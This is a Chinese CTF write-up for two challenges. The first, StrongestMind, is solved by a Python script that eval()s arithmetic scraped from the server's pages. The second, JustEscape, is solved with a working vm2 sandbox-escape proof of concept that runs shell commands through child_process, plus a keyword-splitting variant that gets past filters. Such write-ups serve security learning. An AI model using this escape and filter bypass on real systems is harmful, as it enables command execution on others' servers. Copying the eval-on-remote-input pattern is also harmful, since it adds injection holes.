[GXYCTF2019]StrongestMind
思路

解题
写脚本,1000次即可
(少有的考验写脚本能力的题)
import requests
import re
import time
from tqdm import tqdm
url = "http://503646b0-6c58-42bc-9185-9bc7c4a1ff44.node5.buuoj.cn:81/index.php"
answer = 0
session = requests.session()
for i in tqdm(range(1001), desc=f"当前进度"):
data = {"answer": answer}
time.sleep(0.2)
res = session.post(url=url, data=data) # Use session.post instead of requests.post
res.encoding = "utf-8"
res = res.text
question = re.findall(r"<br>(\d+ [+|-] \d+)<br>", res)[0]
times = re.findall(r"第 (.*) 次成功啦", res)[0]
answer = eval(question)
if i == 1000:
print("-------------------------")
print(res)
当前进度: 100%|██████████| 1001/1001 [04:21<00:00, 3.82it/s]
-------------------------
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>莫得感情的计算器</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><center style='margin-top:300'>
<br>bingo!<br><br>第 1000 次成功啦<br>第一千次给flag呦<br><br>97912815 - 91602713<br><br><form action="index.php" method="post"><input style="width:500px" class="form-control" type="text" name="answer" placeholder="Answer" required></form>
发现1000次没给我flag,说好的呢?只能再发一个包
幸好我用的是jupyter,能直接继续往下写并且运行,虽然这题不看session
answer = 97912815 - 91602713
data = {"answer": answer}
time.sleep(0.2)
res = session.post(url=url, data=data) # Use session.post instead of requests.post
res.encoding = "utf-8"
res = res.text
print(res)
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>莫得感情的计算器</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><center style='margin-top:300'>
<br>bingo!<br><br>第 1001 次成功啦<br>第一千次给flag呦<br><br>59178489 + 31751770<br><br><form action="index.php" method="post"><input style="width:500px" class="form-control" type="text" name="answer" placeholder="Answer" required></form><br><br>Congraduations! flag{04006bd5-b588-423b-9bf5-7727a37506d9}
[HFCTF2020]JustEscape
思路
完全不知道js中vm的沙箱逃逸…
解题
首页看到提示,有数学运算和时间戳

时间戳这里,使用了new Date();怀疑是js

用Error().stack测试,可以确认是vm沙箱逃逸

关于沙箱逃逸的相关细节,文献如下,在《文章集》中亦有记载:
- [HFCTF2020]JustEscape_[hfctf2020]justescape 1-CSDN博客
- Breakout in v3.8.3 · Issue #225 · patriksimek/vm2
- NodeJS VM和VM2沙箱逃逸 – 先知社区
- vm2实现原理分析-安全客 – 安全资讯平台
我们直接看POC:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
那么我们将poc中的whoami改为cat /flag的url编码
?code=(()=>{TypeError.prototype.get_process = f=>f.constructor("return process")();try{Object.preventExtensions(Buffer.from("")).a = 1;}catch(e){return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat+/flag").toString();}})()
// url-encode
?code=(()=%3e{TypeError.prototype.get_process%20=%20f=%3ef.constructor("return%20process")();try{Object.preventExtensions(Buffer.from()).a%20=%201;}catch(e){return%20e.get_process(()=%3e{}).mainModule.require("child_process").execSync("cat+%2fflag").toString();}})()
但是光这样不行,因为有关键词过滤,方法有二
官方解:
用`和join的方法,如
.prototype
// 变成
[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)]
其他:
使用模板字符串,如
.prototype
// 变成
[`${`${`prototyp`}e`}`]
转移后,变成
?code=(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat+/flag`)[`toString`](); } })()
注意
vm沙箱逃逸